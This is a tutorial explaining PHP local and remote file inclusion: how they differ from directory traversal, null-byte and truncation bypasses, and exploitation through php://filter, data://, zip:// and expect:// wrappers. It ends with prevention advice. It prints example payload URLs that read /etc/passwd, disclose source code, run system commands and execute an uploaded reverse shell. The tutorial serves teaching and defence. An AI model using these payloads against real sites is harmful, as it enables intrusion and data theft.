File Inclusion vs Directory Traversal

File inclusion vulnerabilities arise when file paths are passed to include statements without sanitisation.

It is important to distinguish between file inclusion and directory traversal vulnerabilities, as these often get mixed up. A path traversal grants an adversary direct access to arbitrary files - the file is simply treated as if it were in the web root directory, even though it might be outside it.

In contrast, file inclusion allows for the "inclusion" of files in the application's running code. This can manifest in different ways. If the file included is a .php script, then a simple file inclusion will execute the PHP code inside it. If the file is not a PHP file, then its contents will be included somewhere on the page.

Local File Inclusion (LFI)

A local file inclusion (LFI) vulnerability allows for the inclusion of local files, i.e. files which are located on the server itself. Such vulnerabilities can often lead to remote code execution if an adversary can upload to the server a file of their choosing. Another common venue of exploitation is log poisoning, whereby the adversary performs some actions in order to generate certain content in log files and then uses the LFI to execute the log file itself.

The most common place where LFIs occur is in URL file parameters. Consider the following example URL:

http://example.com/preview.php?file=index.html

If this is vulnerable to LFI, then an adversary can change the file parameter in order to include in the web page any file they like. For example, visiting

http://example.com/preview.php?file=../../../../../../../etc/passwd`

will result in the contents of /etc/passwd being displayed somewhere on the preview.php web page.

Example: Directory Traversal vs LFI

If this were a path traversal instead (for example http://example.com/../../../etc/passwd), then the above would result in the direct download of the file /etc/passwd instead of its contents being included somewhere on the resulting web page.

Remote File Inclusion (RFI)

A remote file inclusion (RFI) vulnerability allows us to include a file located on a remote host which is accessible via HTTP or SMB. They can be discovered by the same techniques used to find LFIs and path traversals, but instead of using a filename directly, one inserts an entire URL:

http://example.com/preview.php?file=http://192.168.0.23/pwn.php

These are usually rarer because they require specific configurations such as the allow_url_include option in PHP.

Note

If a host is vulnerable to an RFI, they are usually vulnerable to an LFI as well.

Advanced Techniques

Sometimes exploiting file inclusions is a bit more complicated. Consider the following line of code that may be present on the server:

<?php include($_GET['file'].".php"); ?>

The .php extension is automatically appended to the result from $_GET['file'] and so the include statement will actually be looking for a PHP file instead of the exact path that we want it to. There are, however, several ways to bypass this.

Null Byte Injection

This can be bypassed by injecting a null byte at the end of the file path. To achieve this, simply append the URL encoding (%00) of a null byte to the end of the file path:

http://example.com/preview.php?file=../../../etc/passwd%00

A null byte denotes the end of a string and so any characters after it will be ignored. Even though the string (http://example.com/preview.php?file=../../../etc/passwd%00.php) that gets passed to include still ends in .php, this extension is preceded by a null byte and will thus be ignored.

Path Truncation

Most installations of PHP limit a file path to 4096 bytes. If a file name is longer than this, then PHP simply truncates it by discarding any additional characters. Therefore, the .php extension can be dropped by pushing it over the 4096-byte limit. This can be achieved by URL encoding the file, using double encoding and so on.

Filter Bypass

Sometimes filters are used to try and prevent file inclusions, but these can usually be bypassed using the same techniques used with directory traversals

PHP Wrappers

PHP wrappers augment file operation capabilities. There are many built-in wrappers which can be used with file system APIs, and developers can also implement custom ones. Wrappers can be found in pre-existing code on the web server or they can be injected by an adversary to enhance and further exploit a file inclusion vulnerability.

PHP Filter Wrapper

The php://filter wrapper can be used to display the contents of sensitive files with or without encoding. It is especially useful because it allows us to read a PHP file on the server rather than execute it as a typical LFI would.

The basic syntax for the php://filter wrapper is

php://filter/ENCODING/resource=FILE

The encoding may or may not be present. One common encoding is convert.base64-encode.

Example

Using the earlier example, the filter wrapper can allow an adversary to read the contents of the preview.php file itself!

http://example.com/preview.php?file=php://filter/resource=preview.php

The content can also be obtained in a Base64-encoded format by utilising the following payload:

http://example.com/preview.php?file=php://filter/convert.base64-encode/resource=preview.php

Data Wrapper

The data:// wrapper embeds content in a plaintext or Base64-encoded format into the code of the running web application and can be used to achieve code execution when we cannot directly poison or upload a PHP file to the server.

Note

The data:// wrapper requires that the allow_url_include option is enabled.

The plaintext syntax is the following:

data://text/plain,CODE

The Base64-encoding can be used to bypass firewalls and filters which remove common payload strings such as "system" or "bash":

data://text/plain;base64,BASE64-ENCODED CODE

Example

To weaponise the data:// wrapper in the previous example, an adversary can use the following payload:

http://example.com/preview.php?file=data://text/plain,<?php%20echo%20sy
stem('ls');?>

This would list the contents of the current directory. Alternatively, they could use the Base64 encoding of the same code:

http://example.com/preview.php?file=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImxzKTsgPz4K

Zip Wrapper

The zip:// wrapper was introduced in PHP 7.2.0 for the manipulation of zip compressed files. Its basic syntax is this:

zip://PATH TO ZIP#PATH INSIDE ZIP

Note

The # character is usually used in its URL-encoded form, namely %23.

The best thing about the zip:// wrapper is that it does not require the file to have a .zip extension. This means that this wrapper can be used to bypass file upload filters by changing the file extension to .jpg or any permitted extension.

Example

An adversary can leverage the zip:// filter by creating a reverse shell in a file code.php and then compressing it to exploit.zip. If there are any extension filters, then they are free rename the ZIP file to any extension they like but will have to account for this in the final payload. After uploading the malicious ZIP file to the server, they can navigate to it via

http://example.com/preview.php?file=zip://uploads/exploit.zip%23code.php

The server will then execute the reverse shell inside the malicious file. If the .php extension were automatically appended by the server, then one can just change the file name code.php to code before creating the ZIP archive.

Expect Wrapper

The expect:// wrapper is disabled by default since it is particularly dangerous, for it allows for direct code execution. Its syntax is

expect://COMMAND

The wrapper will execute the COMMAND in Bash and return its result.

Prevention

One should avoid passing user input to file system APIs entirely. If this is absolutely impossible to implement, then user input should be validated before processing. In the ideal case this should happen by comparing the input with a whitelist of permitted values. At the very least, one should verify that the user input contains only permitted characters such as alphanumeric ones.

After such validation, the user input should be appended to the base directory and the file system API should be used canonicalise the resulting path. Ultimately, one should verify that this canonical path begins with the base directory.